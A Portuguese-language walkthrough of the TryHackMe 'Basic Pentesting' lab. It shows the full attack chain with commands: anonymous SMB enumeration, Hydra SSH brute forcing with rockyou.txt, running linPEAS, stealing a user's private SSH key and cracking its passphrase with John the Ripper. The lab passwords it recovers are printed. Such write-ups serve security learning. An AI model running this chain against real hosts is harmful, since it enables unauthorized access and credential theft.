Skip to content

Latest commit

 

History

History
163 lines (115 loc) · 6.95 KB

basic-pentesting.md

File metadata and controls

163 lines (115 loc) · 6.95 KB

basic-pentesting

Basic Pentesting

Estabelecendo conexão VPN

Primeiro, devemos estabelecer nossa conexão VPN utilizando sudo openvpn Kibon.ovpn.

Início

Primeiramente, rodamos um nmap para vermos que portas estão sendo usadas: Usando nmap

Sabendo da presença de um HTTP, colocaremos o IP no navegador para ver o que encontramos: Pesquisa pelo IP

DirBuster

No TryHackMe, ele fala sobre visualizar os possíveis diretores nesse servidor. Portanto, utilizaremos o DirBuster para fazer um bruteforce nos diretórios do servidor. Para isso, escreva http://10.10.202.212:80/, utilize o "Go Faster" e escolha um dos wordlists do próprio DirBuster. Com isso, conseguimos descobrir o diretório /development do servidor. Olhando eles, você vê dois arquivos txt:

  • dev.txt:

    2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

    2018-04-22: SMB has been configured. -K

    2018-04-21: I got Apache set up. Will put in our content later. -J

  • j.txt

    For J:

    I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

    -K

Obs1: Para instalação do DirBuster, siga esse tutorial Obs2: O IP a partir de agora será 10.10.202.212.

SMB

Os dois usuários parecem estar usando SMB. Rodaremos um smbmap para verificar isso:

~/Dow/Ganesh/smbmap-master ❯ python3 smbmap.py -H 10.10.202.212 -R     16:47:56
[+] IP: 10.10.202.212:445    Name: 10.10.202.212           Status: Guest session       
        Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    Anonymous                                             READ ONLY    
    .\Anonymous\\*
    dr--r--r--                0 Thu Apr 19 14:31:20 2018    .
    dr--r--r--                0 Thu Apr 19 14:13:06 2018    ..
    fr--r--r--              173 Thu Apr 19 14:29:55 2018    staff.txt
    IPC$                                                  NO ACCESS    IPC Service (Samba Server 4.3.11-Ubuntu)

Vamos tentar dar uma olhada naquele staff.txt no Anonymous com o smbclient:

~/Downloads/Ganesh/smbmap-master ❯ smbclient //10.10.202.212/Anonymous               16:51:26
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\kibon's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 14:31:20 2018
  ..                                  D        0  Thu Apr 19 14:13:06 2018
  staff.txt                           N      173  Thu Apr 19 14:29:55 2018

        14318640 blocks of size 1024. 11092488 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
smb: \> ^C

Olhando o arquivo staff.txt, temos:

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)

-Kay

Veja que agora sabemos os nomes dos usuários J e K que são, respectivamente, Jan e Kay.

SSH e Bruteforce (Hydra)

Agora, tentaremos entrar no SSH com username jan, o problema é que não temos a senha. Para isso, utilizaremos o Hydra para brutar as senhas do SSH. (Obs: vai demorar bastante, pelo menos pra mim demorou pra conseguir a senha com o rockyou.txt)

Utilizando esse comando hydra -I -V -l jan -P ~/Documentos/Ganesh/rockyou.txt 10.10.202.212 -t 4 ssh será possível brutar os passwords.

Após esse processo, você verá que a senha é "armando". Conseguimos entrar no ssh com ssh jan@10.10.202.212 -p 22.

Escalada de privilégio

Para a escalação de privilégio, você pode usar o linPEAS que analisa o que pode ser usado para a escalação de privilégio no sistema. Sim, é bem legal. O arquivo pode ser encontrado aqui. Para utilizar o linPEAS no ssh, temos que passar ele para dentro do SSH. Para isso, usamos o comando (obs: o IP mudou de novo):

scp linpeas.sh jan@10.10.74.55:/dev/shm

O scp é usado para passar o linpeas.sh para dentro do ssh no diretório /dev/shm

Uma vez com o linpeas lá dentro, podemos executá-lo. Para isso:

cd /dev/shm
chmod +x linpeas.sh
./linpeas.sh | tee resultados.txt

O tee passa os resultados da tela para o resultados.txt Ao rodar, isso se sobressai:

Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
...

Dando um cat /home/kay/.ssh/id_rsa, conseguimos ver a chave privada da Kay. Copiando isso e criando um arquivo idêntico fora do ssh, conseguiremos usar um John The Ripper.

nano kay_rsa
chmod 600 kay_rsa
/opt/john-bleeding-jumbo/run/ssh2john.py kay_rsa > rsaHash.txt

A partir dessa hash, podemos usar o john em si para extrair a senha. Caso não encontre o john, dê uma olhada na instalação do John The Reaper em Ferramentas:

~ ❯ /opt/john-bleeding-jumbo/run/john Downloads/rsaHash.txt --wordlist=Documentos/Ganesh/rockyou.txt                                                                              5s 21:20:56
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (kay_rsa)
1g 0:00:00:00 DONE (2020-10-16 21:21) 33.33g/s 2758Kp/s 2758Kc/s 2758KC/s binkey..bambino1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Vemos que a senha da Kay é "beeswax"

~/Downloads ❯ ssh -i kay_rsa kay@10.10.74.55 -p 22                         ✘ INT 29s 21:25:20
Enter passphrase for key 'kay_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102

E assim conseguimos acesso à Kay. Rodando um cat pass.bak conseguimos ver que a senha é "heresareallystrongpasswordthatfollowsthepasswordpolicy".

E assim conseguimos chegar ao fim dessa máquina ^^